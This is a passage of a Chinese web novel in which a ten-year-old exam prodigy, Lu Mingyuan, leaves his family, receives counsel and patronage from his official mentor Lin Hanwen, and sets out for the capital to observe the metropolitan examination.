待到开了春,他便要起程北上,前往京城。 从今往后,或许每年,都只能在年节时分,才能回来小住数日。 这段时光,是他能长久陪伴在父母身边的,最后一段日子。 接下来的几天,陆明渊仿佛忘却了杭州府的一切,忘却了那些沉重的嘱托与诡谲的朝局。 他变回了一个十岁的少年郎。 白天,他会带着三岁的弟弟陆明泽在院子里玩耍。 陆明泽聪慧得惊人,过目不忘,陆明渊随口念的几句诗,他听过一遍便能奶声奶气地背出来。 只是背完之后,便立刻抱着哥哥的大腿,嘟囔着“读书好累,哥哥以后养我”。 然后伸出小手,理直气壮地讨要糖吃。 陆明渊总是笑着,从怀里摸出一块麦芽糖,塞进他嘴里,看着他欢天喜地地跑开。 他也会带着若雪和弟弟去县里逛逛。 去福来客栈坐坐,听着掌柜的眉飞色舞地吹嘘自家的“解元房”如今如何一位难求。 去林远峰的翰墨轩看看,林远峰总是抱怨着数钱数到手抽筋的“烦恼”。 夜晚,他会帮着母亲王氏整理铺子里的布料。 听着父亲陆从文絮絮叨叨地讲述着酒楼里今天又来了什么客人,哪道菜卖得最好。 一家人围着油灯,说着最寻常的家常,灯火昏黄,映着每个人的脸庞,温暖而安详。 这般轻松惬意的日子,如流水般淌过。 直到一匹快马,带着一身风尘,从江宁府的方向,叩响了陆家的大门。 信,是恩师林瀚文派人送来的。 当晚,陆明渊在灯下,独自展信。 信上的内容并不多,只是让他乡试事毕,即刻返回江宁,不得耽搁。 他将信纸凑到烛火上,看着它慢慢卷曲,化为灰烬,飘落在铜盆之中。 离别的时刻,终究是到了。 第二日,他找到了正在商议着扩大酒楼规模的陆从文与王氏。 “父亲,母亲,你们可以着手准备,将家搬到杭州府去了。” 陆明渊开门见山。 夫妻二人闻言一怔,陆从文有些不解。 “明渊,咱们在江陵县待得好好的,生意也红火,为何要搬去杭州?” “江陵县,太小了。” 陆明渊平静地解释道。 “双魁楼和纺织铺的生意,在这里已经到了顶。杭州府是省城,天宽地阔,无论是做生意,还是孩儿日后照拂,都更为方便。而且……” 他顿了顿,看着父母,轻声道:“那里,更安全。” 最后四个字,让王氏的心猛地一揪。她冰雪聪明,立刻明白了儿子话中的深意。 木秀于林,风必摧之。 十岁的解元,这份荣耀背后,潜藏着不知多少风波。 江陵县虽好,但终究是小地方,若真有事,连个转圜的余地都没有。 “好,我们听你的。” 王氏当即拍板,“我与你父亲,这就开始准备。” 陆从文虽有些故土难离,但也知道儿子是为了这个家好,重重地点了点头。 “到了杭州府,若有任何解决不了的麻烦,无论是落户、买铺子,还是别的什么事,” 陆明渊看着父亲,一字一句,郑重叮嘱。 “你们就去杭州府衙,直接找知府周泰大人,报我的名字。他会帮你们解决所有的问题。” 陆从文和王氏听得心头一震。 让一府之尊的知府大人帮忙? 这话从自己十岁的儿子口中说出,非但不觉荒唐,反而有种令人心安的重量。 他们知道,他们的儿子,已经飞得很高,很高了。 叮嘱完一切,陆明渊没有再耽搁。 他辞别了父母,坐上了前往杭州府的马车。 周泰早已为他备好了一切。 三匹耐力极佳的北地良驹,充足的盘缠与粮草,以及三名从江宁府一路护送前来、身手矫健的护卫,正在驿站等他。 五日后,杭州城外。 陆明渊换上了便于骑行的劲装,与若雪一同,在那三名护卫的拱卫下,踏上了返回江宁府的官道。 秋风萧瑟,长路漫漫。 这一次的归途,没有了来时的闲适。 众人快马加鞭,日夜兼程,只在必要的驿站稍作休整。 马蹄翻飞,尘土飞扬,身后的杭州城,连同那座城市的风雨与人情,都被迅速地抛在了身后。 若雪换上了一身男装,英姿飒爽,骑术竟也十分精湛,紧紧跟在陆明渊身侧。 风吹起她的发梢,那张素来清冷的脸上,多了一丝不属于闺阁少女的坚毅。 不到半个月的功夫,前方那座更为雄伟的城池轮廓,便出现在了地平线上。 江宁府,大乾朝的南都,江南的中心,到了。 高大巍峨的城门下,人流如织,车马如龙。 验过路引文书,一名早已等候在此的青衣小厮立刻迎了上来,恭敬地行礼。 “陆解元,若雪姑娘,请随我来,大人已等候多时。” 小厮引着一行人,没有去林府,而是径直穿过繁华的街巷,来到了一座更为庄严肃穆的府邸之前。 “江苏府总督衙门”。 门口的卫兵,甲胄鲜明,气息沉凝,比杭州府衙的衙役不知精锐了多少。 穿过层层院落,一名管家模样的中年人迎了上来,对着陆明渊与若雪微微躬身。 “陆解元,若雪姑娘,大人正在处理公务,还请二位先到书房稍候。” 书房极大,四壁皆是顶到房梁的书架,上面塞满了浩如烟海的经史子集、地方志异。 陆明渊没有坐,他走到一面墙壁前,那里挂着一幅巨大的《大乾舆图》。 他的目光,从北方的京城,缓缓滑到东南沿海,最终落在了浙江与江苏两块区域上。 他的手指,轻轻地在舆图上划过,仿佛在丈量着这片广袤的土地。 若雪安静地站在他身后,为他续上一杯热茶。 时间,在静默中缓缓流逝。 约莫半个时辰后,门外传来一阵沉稳的脚步声。 书房的门被推开,一名身穿绯色三品官袍,面容清癯,眼神锐利的中年男子走了进来。 他身上带着一股久居上位的威严,以及一丝挥之不去的疲惫。 正是江苏巡抚,林瀚文。 他一进门,目光便落在了舆图前的那个瘦小身影上。 他挥手让身后的幕僚与随从退下,独自一人,缓缓走上前。 “明渊。” 林瀚文的声音,温和中带着一丝不易察觉的审视。 “你在看什么?” 陆明渊闻声,缓缓转过身,对着林瀚文,恭恭敬敬地行了一个拜师大礼。 “学生陆明渊,拜见恩师。” 礼毕,他才直起身,抬起头,目光清澈如水,平静地回答道: “回恩师,学生在看……这盘棋,该从何处落子。” 第158章 木秀于林,风必摧之 林瀚文的目光,在那一瞬间凝固了。 他见过的天才太多,年少成名的神童也并非没有。 可那些孩子,或是恃才傲物,或是战战兢兢,或是沉湎于诗词文章的风雅。 从未有一人,能像眼前的陆明渊这样。 在十岁之龄,便将目光投向了这幅舆图,投向了这舆图背后那张无形却吞噬一切的棋盘。 他身上的绯色官袍,仿佛因为这句轻描淡写的话而沉重了几分。 那股久居上位的威严,在少年清澈如镜的眼眸映照下,竟显得有些……陈旧。 数息之后,一阵低沉而畅快的笑声,打破寂静。 “哈哈哈……好!好一个‘从何处落子’!” 林瀚文大步走上前来,一扫方才的疲惫,眼中精光熠熠。 他没有去碰那张舆图,而是伸手,重重地拍了拍陆明渊瘦削的肩膀。 “明渊,你可知,为师收到杭州府周泰那封信的时候,是何等心情?” 林瀚文的声音里,满是压抑不住的笑意。 “我将那封信,来来回回看了三遍,才敢相信,我这弟子,竟真的成了浙江乡试的解元!” 他背着手,在书房中踱了几个来回,似乎只有这样,才能平复心中的波澜。 “我让你去杭州,本意只是让你去见见世面,熟悉一下乡试的流程,为来年,甚至后年的科举积攒些经验。” “我万万没有想到,你……你竟一次功成!” “这哪里是惊喜,” 林瀚文停下脚步,转身看着陆明渊,感慨万千。 “这简直是上天赐给我林瀚文,赐给我江南士林的一份天大的厚礼!” 面对恩师如此不加掩饰的夸赞,陆明微微躬身,神色平静。 “学生不敢当。若非恩师悉心教导,传授为文之道,学生不过是江陵县一顽童,又怎敢奢望今日之成就。” “这一切,皆是恩师之功。” “胡说!” 林瀚文大手一摆,断然否定了他的说辞,神情变得前所未有的严肃。 “明渊,你当知,为师从不妄言。你这番成就,与为师的教导,或许有些干系,但绝非主因!” 他走到陆明渊面前,目光灼灼地盯着他,一字一句道。 “我大乾立国数百年,钟鸣鼎食之家,书香门第之族,何其之多?” “自幼便延请名师大儒悉心教导者,何止数万之巨?” “其中天资聪颖,过目不忘者,又何止数千?” “可这数百年来,你可曾听说,有哪一人,能于十岁之龄,便在乡试之中脱颖而出,高中举人?” 林瀚文的声音在书房中回荡,带着一种振聋发聩的力量。 “乡试三场,一场便是三个时辰,对心智、对体力,是何等严苛的考验!” “莫说十岁孩童,便是许多二十出头的青壮士子,都常常熬不住,或心力交瘁,或体力不支,最终名落孙山。” “你能坚持下来,已是筋骨过人,心性坚韧!” “更何况,乡试题目之艰深,文章立意之考究,更是人所共知!” “你能在数千名饱学之士中,拔得头筹,夺下魁首,这凭借的,早已不是什么勤奋与教导……” 林瀚文深吸一口气,郑重地吐出两个字:“是天赋!” “这份天赋,早已超出了我林瀚文所能教导的范畴。为师能做的,不过是为你这块绝世璞玉,稍稍掸去些许尘土罢了。” 说完这番话,他看着陆明渊,眼神中充满了期许与感叹。 “从今往后,你陆明渊的名字,注定要名动大乾。” “京城里,朝堂上,天下间的读书人,都会知道,我大乾出了一位十岁的解元。” “你将成为一座丰碑,一座绕不过去的高山!” “从此史书工笔,会为你留下一席之地。” “未来的百年,千年,天下所有参加科举的考生,都将会以你陆明渊为目标,为榜样,为他们一生追逐的星辰!” 林瀚文的这番话,如洪钟大吕,终于在陆明渊那古井无波的心湖中,激起了真正的波澜。 他这才有些后知后觉地意识到,自己这一番无心之举,究竟在这片天下,掀起了怎样一场风暴。 名动大乾?史书留名? 成为所有考生的目标? 这些词汇,听起来是何等的荣耀,何等的辉煌。 可不知为何,落在他耳中,却化作了一副副沉重而华美的枷锁。 他想起江陵县的那个小院,想起弟弟陆明泽奶声奶气地喊着“哥哥以后养我”。 想起父亲陆从文絮絮叨叨的家常,想起母亲王氏在灯下为他缝补衣衫的温柔侧脸 他想要的,不过是让家人过上好日子,让自己的亲朋好友,都能在这世上活得安稳一些,体面一些。 闲暇时,能与林远峰那样的朋友勾肩搭背,聊聊话本,数数银子,快意逍遥。 至于成为什么丰碑,什么高山,他从未想过。 隐藏锋芒,韬光养晦,似乎是聪明的选择。 可陆明渊的骨子里,却偏生没有这般基因。 他信奉的是,力量,就该握在自己手中。 才华,就该肆意地绽放。 他要的,是那种大逍遥,大自在,而不是为了避祸而将自己伪装成一个庸人。 他要的,是快活!是念头通达! 这一瞬间的思绪万千,在他脸上,却不过是眼睫微动,眸光流转。 然而,就是这细微到几乎不可察觉的变化,却被林瀚文敏锐地捕捉到了。 这位江苏巡抚脸上的笑意缓缓收敛,那双锐利的眼睛里,重新浮现出属于封疆大吏的深沉与凝重。 他看穿了自己这个弟子心中那一闪而过的念头。 “明渊,” 林瀚文的声音低沉了下来,带着一丝告诫的意味。 “为师知道,你不喜拘束,向往逍遥。但是,从你高中解元的那一刻起,很多事情,便由不得你了。” “水能载舟,亦能覆舟。名声,也是如此。” “十岁解元的名头,是天大的荣耀,也是天大的祸根。” “从今天开始,这天下,不知会有多少双眼睛,会死死地盯在你的身上。” 林瀚文转过身,目光如炬。 “那些逐利的富商巨贾,会用金钱、美色,编织一张张大网,试图将你这只‘麒麟儿’收入囊中,作为他们家族攀附权贵的终南捷径。这,便是‘围猎’。” “各地望族豪绅,会不遗余力地向你示好,与你联姻,将你绑上他们的战车,让你成为他们争夺地方利益的旗帜与门面。” “京城里的勋贵公卿,阁老皇亲,更会注意到你。” “他们会审视你,拉拢你,试探你,反复揣摩,看看你究竟是哪一派的人,可以成为谁的刀,谁的棋。” “木秀于林,风必摧之。但为师不希望你为了躲避风雨,就去折断自己的枝干,把自己伪装成一棵凡木。” “那样,只会辱没了你的天赋。” “但是,在你真正长成参天大树之前” “你走的每一步,见的每一个人,说的每一句话,都要深思熟虑,如履薄冰。” “这个世界,布满了看不见的陷阱。” “切记,切记!” 第159章 为师为你计,有下一步的安排 陆明渊抬起头,那双清澈的眼眸里,是一种近乎于锋锐的澄澈。 林瀚文欣慰地点了点头,示意他起身。 他缓缓踱步至那幅巨大的《大乾舆图》前,目光从京城一路南下,最终落在了富饶繁华的江南道上。 “明渊,你可知,为师在朝中,素有‘孤臣’之名?” 林瀚文的声音再次响起,平静无波,却仿佛带着金石之音。 “孤臣?” 陆明渊心中微动,这个词汇,他在史书中见过太多。 它往往代表着忠诚,也代表着孤独,更代表着无尽的凶险。 “不错,孤臣。” “当今朝堂,派系林立。有以内阁首辅严嵩为首的严党,权倾朝野。” “有以清流言官为核心的东林党人,自诩清正。” “更有盘根错节的勋贵武将,世代承袭,自成一体。” “他们就像一张张大网,笼罩在朝堂之上,彼此倾轧,又彼此勾连。” “任何一个新入官场的官员,都必须做出选择,投靠其中一方,才能获得庇护,求得升迁。” “这,便是所谓的‘站队’。” 林瀚文看着眼前的堪舆图,眼神中闪过一道精光! “为师,不属于任何一派。” 林瀚文转过身,看着陆明渊,眼神深邃如海。 “为师是皇党。为师所忠者,唯有当今陛下。” “也正因如此,为师在朝中,几乎没有真正的盟友,四面皆是潜在的敌人。” “所以,你作为我的弟子,从一开始,就注定会被打上‘孤臣’的烙印。” “将来你在官场之上,可能会遇到比旁人多得多的麻烦,会受到来自各方的排挤与打压。” 陆明渊静静地听着,神色没有丝毫变化。 这些,在他决定拜师的那一刻,便已经有了心理准备。 若是畏惧这些,他便不是陆明渊了。 看着他平静的模样,林瀚文眼中闪过一丝赞许,话锋陡然一转。 一股磅礴的自信与霸气,从他那绯色的官袍下,沛然而出! “但是!” 这一个字,掷地有声! “没有派系,便意味着,你不必受任何派系的藩篱所束缚!” “你的一言一行,只需对君王负责,对本心负责!更意味着,所有派系,都会想方设法地拉拢你,争取你的支持!” “因为你代表的,是为师,是江南,是陛下最信任的力量!” “这,也正是为师能在朝中屹立不倒,影响力甚至不输于阁老重臣的原因!” 林瀚文的目光,再次落回那张舆图之上。 这一次,他的手指重重地按在了整个江南道上,那片大乾最富庶的鱼米之乡! “明渊,你再看这里!” 他的声音,陡然拔高,充满了身为封疆大吏的无上威严与底气! “我大乾江南道,下辖十三府!” “这十三府中,苏州、松江、常州、……足足十一个府的知府,皆是为师一手简拔,或是曾受为师举荐之恩!” “他们,都是我林瀚文的人!” “江南织造,盐铁专营,漕运关卡,这些朝廷的钱袋子,主事之人,哪个见了我林瀚文,都得恭恭敬敬地喊一声‘部堂大人’?” “还有,驻扎在江宁府与杭州府,拱卫整个江南的二十万大军,从都指挥使到下面的卫所千户,皆听我林瀚文调遣!” “整个江南道的军、政大权,尽在为师一手之中!” 这一刻的林瀚文,不再是那个温和的恩师,而是一位真正手握乾坤,言出法随的一方诸侯! 他身上散发出的那股气势,让整个书房的空气都仿佛凝固了。 他看着因震惊而瞳孔微缩的陆明渊,缓缓收敛了气势,脸上露出一抹自信而温和的笑容。 “为师今年,五十三岁。身体尚可,精神健旺。” “不出意外,至少还能为你这棵小树苗,撑起一片天,遮挡十年的风雨!” “这十年间,你可以放心大胆地去做你想做的事情,去学你想学的东西,去成为你想成为的人!” “哪怕你把天捅了个窟窿,为师,这个底气还是有的!” 一番话,如惊雷贯耳,又如暖流过心。 陆明渊心中那因“围猎”、“棋子”等词汇而生出的些许阴霾。 在恩师这番霸气无双的宣言下,被一扫而空! 他忽然咧嘴一笑,那笑容,纯粹而灿烂,终于有了一丝十岁孩童该有的狡黠与顽皮。 “恩师,” 他眨了眨眼,半是认真半是玩笑地说道。 “您这么一说,学生以后若是不仗着您的势,放肆一些,岂不是辜负了您这天大的靠山?” “哈哈哈……” 林瀚文闻言,先是一愣,随即爆发出比方才更加畅快淋漓的大笑声。 他指着陆明渊,笑得连连摇头。 “你这小子!你这小子!” 他笑罢,才收敛神情,眼中满是欣赏与了然。 “你若真是那等仗势欺人、不知天高地厚的纨绔之辈,为师又岂会千里迢迢,亲至杭州收你为徒?” “我林瀚文一生阅人无数,这点眼力,还是有的。” 这番笑谈,瞬间拉近了师徒间的距离。 笑过之后,林瀚文的神情重新变得严肃起来。 他走到书案前,坐了下来,伸手示意陆明渊也坐。 “好了,闲话叙过。乡试已是你身后之景,从今往后,你只需要考虑一件事。” 林瀚文的目光变得专注而郑重,仿佛在谈论一件关乎国运的大事。 “京都会试。” 这四个字,仿佛带着一种魔力,让陆明渊也不由自主地坐直了身体,神情肃穆。 县试、府试、院试,不过是通往科举之路的门槛。 乡试,是鲤鱼跳龙门的第一跳,中了举,便有了做官的资格,算是一只脚踏入了士大夫的阶层。 会试,是天下所有读书人穷尽一生,所追求的终极目标。 “无数人读书几十载,都无法触及会试的门槛。你十岁功成,已是前无古人。” “但越是如此,你越要戒骄戒躁,因为那里的风光,与乡试,已是天壤之别。” 陆明渊躬身道:“请恩师指点,这会试,究竟有何要点?学生又需注意些什么?” 林瀚文点了点头,对他的态度很是满意。 少年得志,最怕的就是心浮气躁。 而陆明渊,却总能在一瞬间沉静下来,这份心性,比他的才华更加难得。 “其一,是题目。” 林瀚文伸出一根手指。 “会试的题目,与乡试截然不同。乡试题目,多由各省学政拟定,尚有迹可循。” “而会试题目,则全由当朝翰林院的大学士们,闭门数月,反复商榷而出。” “每一道题,都可能是对一项国策的探讨,对一种经义的全新解读。” “题卷拟好之后,会直接呈送御前,由陛下亲阅后,以最高规格的蜡封封存,直送贡院。” “在考场开启之前,除了陛下与几位核心出题官,再无第二人可以接触题目。” “故而,会试,是这天下间最公平,也最不可能存在舞弊的考试。” “任何投机取巧,任何提前押题的手段,在会试面前,都毫无用处。” “能依靠的,唯有你胸中的锦绣,笔下的文章!” 陆明渊静静地听着,心中了然。 这确实是杜绝了大部分的暗箱操作,将一切都放在了阳光之下,比拼的是真正的硬实力。 “其二,是你的对手。” 林瀚文又伸出第二根手指,语气变得更加凝重。 “能够参加会试的,是何许人也?” “他们,是来自我大乾两京十三省,所有乡试中脱颖而出的举人!” “每一个人,都是当地万里挑一,甚至是十万里挑一的天之骄子!” “每一个人,都曾是他们家乡的‘陆明渊’!” “你的天赋,固然是冠绝古今。” “但他们之中,亦不乏浸淫经史数十年,学问早已融会贯通,只待一个机会便能一飞冲天的大才。” “你的文章立意新奇,策论眼光独到,可他们之中,也有人宦海沉浮,对民生吏治的理解,远比你深刻。” “在乡试,你或许可以凭借天赋,一骑绝尘。” “但在会试的考场上,你面对的,将是整个大乾王朝最顶尖的一批天才。” “其竞争之激烈,难度之巨大,比起乡试,何止难上十倍,百倍!” 林瀚文的话,像是一座沉重的大山,压在了陆明渊的心头。 他从未小觑过天下英雄,但直到此刻,他才对“会试”这个舞台,有了一个清晰而残酷的认知。 看着陆明渊脸上严肃思索的神情,林瀚文露出了满意的微笑。 他要的就是这个效果,既要给足他信心和底气,也要让他时刻保持敬畏与清醒。 “所以,”林瀚文做出总结,“为师为你计,有下一步的安排。” “接下来数月,你暂且留在杭州府。” “一来,可以巩固乡试所学,沉淀心性;二来,也可以多看看,多走走,了解一下浙江的风土人情,这对你日后为官,大有裨益。” “等到下半年,也就是明年开春的会试开始前一两个月,你便动身,提前去京城。” “去京城?” 陆明渊一怔,“恩师是让学生……参加明年的会试?” “不。” 林瀚文果断地摇了摇头。 “不是参加,是去感受。” “你现在的才华,锋芒毕露,无坚不摧。但你的积累,你的阅历,终究还是太浅了。” “为师让你去京城,是让你以一个旁观者的身份,去亲眼看看,京都会试是何等盛况。” 林瀚文转过身,目光灼灼地看着他。 “为师要你,知己知彼。这一届,你只是看客。你的目标,是两年之后,大后年的那一届会试!” “用这两年的时间,去读书,去游历,去思考。将你的天赋,打磨成真正的学问;将你的锋芒,内敛为真正的智慧。” “到那时,你再入京城,一举夺魁,方是水到渠成,名正言顺!” “到那时,你陆明渊,才算是真正长成了那棵风雨都无法撼动的参天大树!” 书房内,阳光正好。 陆明渊站起身,对着这位为自己殚精竭虑,铺平了未来十年道路的恩师,第三次,深深的,深深的,鞠了一躬。 “学生,谨遵师命!” 第160章 为师,在江南,替你一力承担! 光阴流转,秋去冬来。 眨眼间便是三个月过去! 杭州府的桂花香气早已散尽,枝头换上了凛冽的霜。 这三个月里,陆明渊的生活被一种近乎严苛的规律所充斥。 白天,他在贡院学习经义! 午后,他会回到总督府的演武场,练习骑射和剑法! 而当夜幕降临,林瀚文会亲自考校他的功课,但更多的,是与他谈论政务。 从江南一府的税收到一县的民情,从漕运的积弊到盐铁的利害。 陆明渊每天都要写一篇策论,主题皆由林瀚文随口而出。 初时,他的文章虽依旧锋锐,却不免带着书生的想当然。 而林瀚文的批注,也往往一针见血,直指其不切实际之处。 但渐渐地,陆明渊的策论变得愈发厚重、老辣。 他开始懂得在理想与现实之间寻找平衡,懂得在朝廷的法度与地方的实情中权衡利弊。 林瀚文看在眼里,喜在心中。 转眼,便已是腊月。 这一日,窗外飘起了细碎的雪花,给江南的冬日平添了几分诗意。 书房内,暖炉烧得正旺。 林瀚文放下手中的一份公文,看着正在灯下奋笔疾书的陆明渊,温和地开口道。 “明渊,今日便不必写了。” 陆明渊抬起头,眼中尚带着思索的神采。 “给家里写封信吧。” 林瀚文的脸上带着一抹笑意。 “告诉他们,今年过年,你便留在江宁,陪为师过这个年。” 陆明渊心中一暖,他离家已有数月,心中岂会没有思念。 “过完年,” 林瀚文继续说道。 “京都会试在即。你也该动身,启程去京城了。” “是,恩师。” 陆明渊没有丝毫犹豫,他提起笔,开始给远在江陵县的父母写信。 信中,他细细描述了在总督府的生活,也捎去了对父母弟妹的思念,并告知了过年不归,年后即去京城的消息。 随着年关将近,往日里清净的总督府,开始变得车水马龙,热闹非凡。 一艘艘官船停靠在江宁府的码头,一辆辆马车络绎不绝地驶向总督府的大门。 来者,皆是江南道各府各县的封疆大吏。 他们带来的礼物,却并非金银珠宝、古玩字画,而是一箱箱、一担担极具地方特色的土特产。 松江府的棉布,苏州府的丝绸,湖州府的毛笔,徽州府的墨锭……琳琅满目,却无一不是寻常可见之物。 而与这些土特产一同被送进总督府的,还有一卷卷厚厚的,记录着各地今年钱粮税收、民生吏治的政绩考评。 这些人,或是林瀚文一手简拔的知府,或是曾受他举荐之恩的布政使、按察使。 整个江南道,十停的官员里,倒有八停,自认是“林党”门下。 他们来,名为拜年,实为述职。 林瀚文的处理方式也颇为有趣,土特产照单全收,分发给府中下人当年货。 而那些政绩考评,他则会一一仔细审阅。 在接见众人时,或褒或贬,或提点或敲打,尽显一位方面大员的威严与手段。 在这场盛大的“拜年”中,林瀚文做了一件让所有人都感到意外,却又觉得理所当然的事情。 他将陆明渊,正式引荐给了所有人。 “诸位,这位是陆明渊,我新收的弟子。” “今年周岁十一,中了浙江省的乡试,已是举人!” 简单的介绍,却在人群中掀起了惊涛骇浪。 一众身着绯色、青色官袍,早已在官场中浸淫多年的大人们,脸上都写满了难以置信的震惊。 十一岁的举人? 林部堂唯一的亲传弟子? 这两个身份叠加在一起,所代表的分量,足以让在场任何一位知府、布政使都不敢有丝毫小觑。 他们都是在官场摸爬滚打了半辈子的人精,几乎在瞬间就想通了其中的关窍。 林部堂膝下无子,如今收下这么一位惊才绝艳的少年为徒,其用意不言自明! 这位陆明渊,便是林部堂未来的延续,是整个江南官场未来的核心! 震惊过后,便是热切。 “原来是陆小友,久闻大名,今日一见,果然是人中龙凤!” “陆公子小小年纪便有如此成就,将来前途不可限量啊!” “我那犬子若有陆公子一半的才气,老夫做梦都要笑醒了!” 一时间,各种赞誉之词如潮水般涌来。 这些平日里在各自地盘上说一不二的大人物,此刻对着一个十岁的孩子,极尽攀附之情。 陆明渊站在林瀚文身侧,面对着这群几乎可以决定一地百姓生死的官员们,神色没有丝毫的慌乱。 他既没有因为对方的身份而显得畏缩,也没有因为对方的吹捧而流露出半分得意。 他只是安静地站着,对每一位上前来搭话的官员,都恭恭敬敬地行一个晚辈礼,然后客气地回应几句。 他的言语不多,却字字清晰,条理分明。 不卑不亢,温润如玉,却又隐隐透着一股疏离的锋锐。 这孩子,像极了年轻时的林部堂! 这场特殊的接见,足足持续了七天。 七天里,陆明渊就像一块海绵,疯狂地吸收着周围的一切。 书本上的“为官之道”、“人情世故”,在这一刻,都化作了最生动、最深刻的现实,烙印在他的脑海中。 七天之后,总督府终于恢复了往日的宁静。 林瀚文带着一丝疲惫,却也带着一丝满意,宣布休沐三日。 这三天,师徒二人彻底放松了下来。 他们没有再谈论任何关于经义与政务的话题。 两人一起在总督府的花园里赏雪,在暖阁中对弈,甚至还饶有兴致地亲手写了春联,贴在了书房的门上。 除夕之夜,偌大的总督府没有举办任何宴席,只有寥寥几人。 围着一张圆桌,吃了一顿简单却温馨的年夜饭。 那一晚,陆明渊第一次看到自己这位权倾江南的恩师,露出了真正放松的笑容,甚至还小酌了几杯。 林瀚文眼中带着几分醉意,跟他讲起了自己年轻时在京城求学的趣事。 那样的林瀚文,不再是封疆大吏,更像是一位慈祥的长辈。 温馨的年节过后,气氛重新变得郑重起来。 林瀚文将陆明渊叫到书房。 “明渊,会试在即,你该准备启程了。” 林瀚文看着他,神色严肃。 “你如今已是举人,身负功名,有朝廷颁发的身份玉引,入京无需提前报备,一路之上,驿站官道皆可畅行无阻。” 他顿了顿,从书案的暗格中,取出了几样东西。 “此去京城,路途遥远,人心叵测,为师为你做了些安排。” 他先是递过一封火漆封好的信。 “到了京城,你可去寻一人,他叫赵浩然,乃是为师的同科好友,现任大理寺卿。” “你可持此信拜见,暂且借宿在他府中。” “他为人方正,在京中颇有清誉,有他在,寻常的宵小之辈,不敢轻易招惹你。” 陆明渊郑重地接过信,心中微动。 大理寺卿,正三品大员,掌管天下刑狱复核,是真正的朝廷重臣。 林瀚文又取出一块通体温润的羊脂白玉佩,上面刻着一个古朴的“李”字。 “京城不比江南,那里是天子脚下,权贵如云,派系斗争更是凶险万分。” “赵浩然虽是清流,但势单力薄,若真遇到他都无法解决的麻烦,你就拿着这块玉佩,去国子监寻一位叫李淳杰的老大人。” “李淳杰?” 陆明渊对这个名字有些陌生。 “他是当朝太子太保,” 林瀚文的声音低沉而有力。 “也是……当今太子的老师。为师与他有半师之谊,他见此玉佩,自会明白。” 太子太保! 这四个字,犹如一道惊雷在陆明渊心中炸响。 这已经不是简单的官场人脉了,这代表着储君的阵营! 恩师口中的“皇党”,果然根基深厚得可怕! 然而,林瀚文接下来的话,更是让他彻底感受到了什么叫做“天大的靠山”。 他拿起陆明渊腰间的玉佩,神情珍重地告诉他! “这枚‘血沁竹心佩’,是当年恩师授我之时所赐。” 林瀚文的目光变得无比深远。 “这算是我这一脉的传承信物,乃是前朝大儒宋濂宋夫子之物,后由文宗皇帝御赐,又名‘丹心佩’。” “明渊,你记住。若是在京城,当真遇到了连太子太保都无法解决,甚至会危及你性命的弥天大祸……” “你就拿着这枚‘丹心佩’,直接去皇城宫门,求见陛下!” “不必有任何犹豫,不必管会牵连到谁,不必怕会捅出多大的窟窿!” 他伸出手,重重地按在陆明渊的肩膀上,那股磅礴的自信与霸气再次沛然而出。 “你只管去!剩下的所有麻烦,为师,在江南,替你一力承担!” 第161章 你便是瀚文兄的弟子,陆明渊? 陆明渊深深地吸了一口气,将那枚玉佩小心翼翼地贴身收好。 他抬起头,迎上恩师那双深邃如海的眼眸,郑重地长揖及地。 “学生,谨记恩师教诲。” 这一拜,比之初入门时,更沉,更重。 拜下去的是一个即将远行的弟子,抬起身的,则是一个怀揣着江南半壁江山期许的少年。 林瀚文看着他,欣慰地笑了,那笑容里带着一丝父亲般的慈爱与骄傲。 “去吧,莫要学那些小儿女姿态。你此去京城,不是游山玩水,是去取那状元功名,是去为天下苍生立命的。” “些许身外之物与人情安排,不过是让你走得更稳一些的垫脚石罢了。” 他摆了摆手,语气轻松。 “只要不触犯大乾律法,其余的,你尽可放手去做。天塌下来,有为师在江南给你顶着!” 陆明渊心中暖流涌动,重重点了点头。 次日,陆明渊便开始收拾行囊。 说是收拾,其实也并无多少东西。 几件换洗的衣物,恩师这几个月来批注过的策论文章,还有文房四宝。 除此之外,便是陆明渊带来的三千两银票。 林瀚文为他指派了五名护卫。 这五人,皆是三十岁出头的年纪,沉默寡言,身上带着一股子从尸山血海里爬出来的铁血煞气。 他们是林瀚文早年镇守边关时带出来的亲卫,个个身经百战,手上的人命没有一百也有八十。 为首的一人姓何,大家都叫他老何,那张饱经风霜的脸上,一道刀疤从眉角一直延伸到下颌,让他看起来格外凶悍。 这些人都是林瀚文的亲卫,对他无比忠诚,如今是陆明渊的护卫! 一切准备就绪,陆明渊带着婢女若雪,以及这五名如山岳般可靠的护卫。 在又一个飘着小雪的清晨,辞别了恩师,踏上了前往京城的漫漫长路。 车队没有选择日夜兼程的急行军方式,而是不疾不徐,沿着官道一路向北。 马车驶出江宁府,江南那标志性的水乡氤氲便渐渐淡去。 小桥流水的精致被开阔的平原所取代。 空气中的湿润水汽也一日比一日稀薄,添上了一分北地的干燥与凛冽。 陆明渊大部分时间都待在马车里,或读书,或与若雪对弈。 但更多的时候,他会掀开车帘,静静地看着窗外的景致飞速倒退。 他看到了在寒风中依旧辛勤劳作的农人,看到了因年关将近而挂上红灯笼的村镇。 他看到了在驿站里高谈阔论、意气风发的各地学子。 也看到了一些衣衫褴褛、面带菜色的流民,蜷缩在避风的墙角,眼中满是麻木与绝望。 一路上,自然也少不了与其他赶考举子的相遇。 这些能从各省乡试中脱颖而出的,无一不是天之骄子。 他们大多在十七八岁的年纪,正是锋芒毕露、指点江山的时候。 初时,见到陆明渊这般稚嫩的孩童也身负举人功名,大多是惊奇与不信,甚至有人出言考校。 但陆明渊总能应对自如。 无论是经义的辩论,还是诗词的唱和,陆明渊总能对答如流,一众学子也从质疑转为震惊,最终化为由衷的钦佩。 渐渐地,他的身边也聚拢了一些人,共同探讨学问,交流心得。 二十余日的行程,如白驹过隙。 当远方的地平线上,出现一道巍峨如山峦般的巨大轮廓时,连一直沉默如铁的老何,呼吸都不由得粗重了几分。 京城,到了。 马车缓缓驶近,那股扑面而来的磅礴气势,远非江宁府可比。 城墙高达十余丈,通体由巨大的青灰色条石砌成。 城门洞开,仿佛巨兽张开的大口,吞吐着南来北往的人潮车流。 递上官府颁发的举人玉引和路引文书,守城的兵士只是粗略一扫。 看到“江宁府”的字样和陆明渊那张稚气的脸,眼中闪过一丝讶异,但并未多加盘问,便挥手放行。 马车驶入城门的那一刻,一股截然不同的气息瞬间将他们包裹。 喧嚣,繁华,以及一种难以言喻的、混杂着权势与欲望的独特气味。 传说中天子脚下脏乱差的景象荡然无存。 映入眼帘的,是一条足以容纳八辆马车并行的宽阔石板主道,干净得几乎能映出人影。 街道两旁,店铺林立,飞檐斗拱,雕梁画栋,无论是规模还是奢华程度,都远胜江南。 